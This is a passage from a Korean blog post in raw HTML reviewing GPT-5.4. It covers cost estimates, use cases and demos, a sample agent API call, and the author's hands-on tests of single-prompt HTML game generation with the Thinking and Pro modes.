&lt;td style=&quot;padding: 10px 12px; border: 1px solid #ddd;&quot;&gt;하이브리드 (Pro 10% + Thinking 90%)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #ddd;&quot;&gt;$0.089&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #ddd;&quot;&gt;$4.45&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #ddd; background-color: #fff3cd;&quot;&gt;&lt;b&gt;~$134&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;* 입력 8K &amp;times; $2.50/M + 출력 1.5K &amp;times; $15/M 기준. Tool Search 적용 시 토큰 최대 47% 절감 가능 &amp;rarr; 실제 비용은 더 낮을 수 있음. 추정치이므로 실제 워크플로우로 직접 측정 권장.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 실전 사용 사례 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 사용 사례&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;에이전트 업무 자동화&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4의 컴퓨터 사용과 Tool Search를 결합하면, 이전에는 수동으로 해야 했던 반복 작업을 완전 자동화할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;회계 자동화:&lt;/b&gt; &quot;이번 달 Quicken 장부 정리해줘&quot; &amp;rarr; 앱 실행, UI 탐색, 입력, 저장까지 자율 처리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;투자은행 모델링:&lt;/b&gt; Excel/Google Sheets에서 DCF 모델 구성 및 민감도 분석 자동화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;멀티스텝 웹 리서치:&lt;/b&gt; 수십 개 출처를 자율 탐색하고 보고서 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자율 쇼케이스: GPT-5.4가 실제로 만든 것들&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4 출시와 함께 공개된 실제 데모 사례들이다. 모두 AI가 단독으로 설계부터 배포까지 수행했다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;프로젝트&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;소요 시간&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;핵심 포인트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;시티 제너레이터 (City Generator)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;~1시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;SoloBot이 7단계 이상 계획 수립 &amp;rarr; 자율 실행. 화면 캡처로 UI를 직접 분석해 &quot;하늘 비중이 너무 크다&quot;는 문제를 스스로 파악하고 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;비행 시뮬레이터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;~3시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;단 한 번의 프롬프트 &amp;rarr; 로컬 개발 + 웹 서버 배포까지 완결. &quot;이전 모델에서는 이처럼 많은 단계를 밟지 않았다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;3D 체스 Electron 앱&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;유리&amp;middot;대리석 질감 구현 + KUA로 기물 직접 드래그하며 캐슬링 규칙까지 검증. 빌드-테스트 루프를 스스로 완결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;커피숍 웹사이트 (낸시 사례)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;디자인 시안 분석 &amp;rarr; 최적 이미지 4개 병렬 생성 &amp;rarr; KUA로 원본과 결과물 시각 비교. 코딩 지식 없는 사용자도 완성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Gmail 자동화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;수초 이내&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;첫 번째 이메일 분석 &amp;rarr; 특정 주소로 답장 전송 완료. &quot;제대로 실행되는지 보기도 전에&quot; 완료될 만큼 빠름&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;⚠️ 위 사례는 OpenAI 공식 쇼케이스 및 커뮤니티 데모 기반 (Level 2&amp;ndash;3). 재현 결과는 환경에 따라 다를 수 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;고급 코딩 워크플로우&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Codex에서 GPT-5.4의 build-run-verify-fix 루프를 활용한 완전 자율 코딩 에이전트:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;nix&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Responses API를 이용한 에이전트 루프 예시
response = openai.responses.create(
    model=&quot;gpt-5.4&quot;,
    reasoning={&quot;effort&quot;: &quot;high&quot;},
    tools=[
        {&quot;type&quot;: &quot;computer_use&quot;},
        {&quot;type&quot;: &quot;code_interpreter&quot;},
    ],
    input=[{
        &quot;role&quot;: &quot;user&quot;,
        &quot;content&quot;: &quot;이 Python 코드를 테스트하고 버그를 찾아 수정해줘&quot;
    }]
)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;엔터프라이즈 적용 사례&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Fortune 보도에 소개된 기업 활용 사례 &lt;span style=&quot;color: #888; font-size: 13px;&quot;&gt;(2차 출처 &amp;mdash; OpenAI 공식 발표에서 직접 인용 미확인)&lt;/span&gt;:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;법률 AI 기업 Harvey:&lt;/b&gt; BigLaw Bench 평가에서 &lt;b&gt;91%&lt;/b&gt; 달성 &amp;mdash; 로펌 수준의 법률 문서 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;재산세 자동화 기업 Mainstay:&lt;/b&gt; GPT-5.2 대비 에이전트 &lt;b&gt;약 3배 빠르게 실행&lt;/b&gt;, 토큰 사용량 &lt;b&gt;약 70% 절감&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://fortune.com/2026/03/05/openai-new-model-gpt5-4-enterprise-agentic-anthropic/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune&lt;/a&gt; &amp;mdash; 기업별 직접 확인 권장)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 직접 해보기 실습 섹션 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지금 바로 해보기: ChatGPT &amp;amp; Codex 실습 프롬프트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;글만 읽는 것보다 직접 해보는 게 가장 빠른 학습이죠. 아래 프롬프트를 복사해서 바로 실행해보세요. ChatGPT 사용자와 Codex 개발자를 위한 실습을 각각 준비했습니다.&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #0066cc; margin: 25px 0 15px; font-weight: 600; border-bottom: 2px solid #cce5ff; padding-bottom: 8px;&quot; data-ke-size=&quot;size20&quot;&gt;Part A: ChatGPT에서 해보기 (Plus 플랜 이상, Thinking 5.4 사용)&lt;/h4&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Thinking 5.4 vs Pro 5.4&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;예시 1 - 싱글 프롬프트 게임 만들기&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;프롬프트 하나로 완성된 게임이 나오는지 확인해보세요. GPT-5.4의 코딩 통합 능력을 가장 직관적으로 체험할 수 있습니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;테마파크 경영 시뮬레이션 게임을 만들어줘.
조건:
- HTML + JavaScript 단일 파일로 완성
- 건물 배치, 방문객 수, 수익 계산 포함
- 버그 없이 바로 실행 가능하게&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 10px 15px; margin-top: 12px; border-radius: 0 8px 8px 0; font-size: 13px;&quot;&gt;&lt;b&gt;캡처 포인트:&lt;/b&gt; AI가 한 번에 완성된 코드를 생성하는지, 그리고 실제로 브라우저에서 바로 실행되는지 확인해보세요.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 5.4 Thinking&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8IDm4/dJMcabchehU/XXJeBYEIjRzd8Kep6tSVJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8IDm4/dJMcabchehU/XXJeBYEIjRzd8Kep6tSVJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8IDm4/dJMcabchehU/XXJeBYEIjRzd8Kep6tSVJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8IDm4%2FdJMcabchehU%2FXXJeBYEIjRzd8Kep6tSVJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1116&quot; height=&quot;536&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 미리 보기 버튼이 비활성화 되어 있고, 소스를 생성중에 변경할 내용이 있다면 후속 질문을 보내보라고 하고 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;1618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/maB2n/dJMcagYXOP4/ezgCkYqxKBC2bKWnXhxbL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/maB2n/dJMcagYXOP4/ezgCkYqxKBC2bKWnXhxbL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/maB2n/dJMcagYXOP4/ezgCkYqxKBC2bKWnXhxbL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmaB2n%2FdJMcagYXOP4%2FezgCkYqxKBC2bKWnXhxbL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1532&quot; height=&quot;1618&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;1618&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 싱글프롬프트 기준으로 그래도 완성이 되는 모습은 경이???롭다. Thinking 5.4모델은 생각 보다 금방 완성되었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1850&quot; data-origin-height=&quot;1706&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHo9Wn/dJMcadVrkWj/w0aedXNdlg9RqPmBQ1wRzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHo9Wn/dJMcadVrkWj/w0aedXNdlg9RqPmBQ1wRzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHo9Wn/dJMcadVrkWj/w0aedXNdlg9RqPmBQ1wRzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHo9Wn%2FdJMcadVrkWj%2Fw0aedXNdlg9RqPmBQ1wRzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1850&quot; height=&quot;1706&quot; data-origin-width=&quot;1850&quot; data-origin-height=&quot;1706&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 5.4 Pro&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- pro는 좀더 사고과정을 신중하게 가져가는 모습으로 보인다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;1138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dYIEAH/dJMcac93rGW/Urkd02rnk6kyK8YLnVkuE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dYIEAH/dJMcac93rGW/Urkd02rnk6kyK8YLnVkuE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dYIEAH/dJMcac93rGW/Urkd02rnk6kyK8YLnVkuE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdYIEAH%2FdJMcac93rGW%2FUrkd02rnk6kyK8YLnVkuE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;1138&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;1138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 소스생성을 하지 않고 한참동안 Thinking 과정을 진행한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;1126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HzIIh/dJMcag5KOJP/KuqegKKoXiJ3L7FEw3O0s0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HzIIh/dJMcag5KOJP/KuqegKKoXiJ3L7FEw3O0s0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HzIIh/dJMcag5KOJP/KuqegKKoXiJ3L7FEw3O0s0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHzIIh%2FdJMcag5KOJP%2FKuqegKKoXiJ3L7FEw3O0s0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;1126&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;1126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 54분째 작업을 진행하며, 아직 검토중이다. 싱글 프롬프트에 이정도라면................................. 게임 한번 찍어내볼까? 라는 생각도 들기 시작하였다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1594&quot; data-origin-height=&quot;1138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfw8Gt/dJMcahp3BD2/Qpm2XBlz3OOhl0wgbjUXbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfw8Gt/dJMcahp3BD2/Qpm2XBlz3OOhl0wgbjUXbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfw8Gt/dJMcahp3BD2/Qpm2XBlz3OOhl0wgbjUXbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbfw8Gt%2FdJMcahp3BD2%2FQpm2XBlz3OOhl0wgbjUXbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1594&quot; height=&quot;1138&quot; data-origin-width=&quot;1594&quot; data-origin-height=&quot;1138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 완료된 게임의 모습&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2202&quot; data-origin-height=&quot;1926&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHoEcK/dJMcafTi9kw/AD0DVLjjfwNfpkkyckguAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHoEcK/dJMcafTi9kw/AD0DVLjjfwNfpkkyckguAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHoEcK/dJMcafTi9kw/AD0DVLjjfwNfpkkyckguAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHoEcK%2FdJMcafTi9kw%2FAD0DVLjjfwNfpkkyckguAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2202&quot; height=&quot;1926&quot; data-origin-width=&quot;2202&quot; data-origin-height=&quot;1926&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 1시간 넘게 데충요청한 게임을 만들게 한게 너무 미안 하였다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;236&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xqkmz/dJMcahjjstT/zgrpnBE9ym1cDE9YUr8Il1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xqkmz/dJMcahjjstT/zgrpnBE9ym1cDE9YUr8Il1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xqkmz/dJMcahjjstT/zgrpnBE9ym1cDE9YUr8Il1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXqkmz%2FdJMcahjjstT%2FzgrpnBE9ym1cDE9YUr8Il1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;722&quot; height=&quot;236&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;236&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 게임 챌린지 모음 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #0066cc; margin: 30px 0 15px; font-weight: 600; border-bottom: 2px solid #cce5ff; padding-bottom: 8px;&quot; data-ke-size=&quot;size20&quot;&gt;게임 챌린지 모음 &amp;mdash; 싱글 프롬프트로 얼마나 만들 수 있을까?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;아래 프롬프트를 하나씩 붙여넣고, GPT-5.4가 어디까지 완성하는지 직접 확인해보자.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;나또한&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;모두 HTML + JavaScript 단일 파일로 요청하는 방식이라 별도 설치 없이 브라우저에서 바로 실행됩니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Pro 5.4&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;비행기 슈팅 게임&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;고전 아케이드 감성의 종스크롤 슈팅 게임. 적기 패턴과 점수 시스템까지 한 번에 잡아줍니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;HTML + JavaScript로 종스크롤 비행기 슈팅 게임을 만들어줘.
- 플레이어 비행기: 방향키로 이동, 스페이스바로 총알 발사
- 적 비행기: 위에서 랜덤하게 등장, 점점 빨라짐
- 점수판, 목숨 3개, 게임오버 화면 포함
- 단일 HTML 파일로 완성&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 미사일, 동작, 점수, 목숨 모든 기능이 잘 동작한다.&amp;nbsp; (21분 소요)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1110&quot; data-origin-height=&quot;1312&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvjU5l/dJMcafls0XJ/m3ufufddrTIeGnHt59yOkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvjU5l/dJMcafls0XJ/m3ufufddrTIeGnHt59yOkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvjU5l/dJMcafls0XJ/m3ufufddrTIeGnHt59yOkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvjU5l%2FdJMcafls0XJ%2Fm3ufufddrTIeGnHt59yOkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; 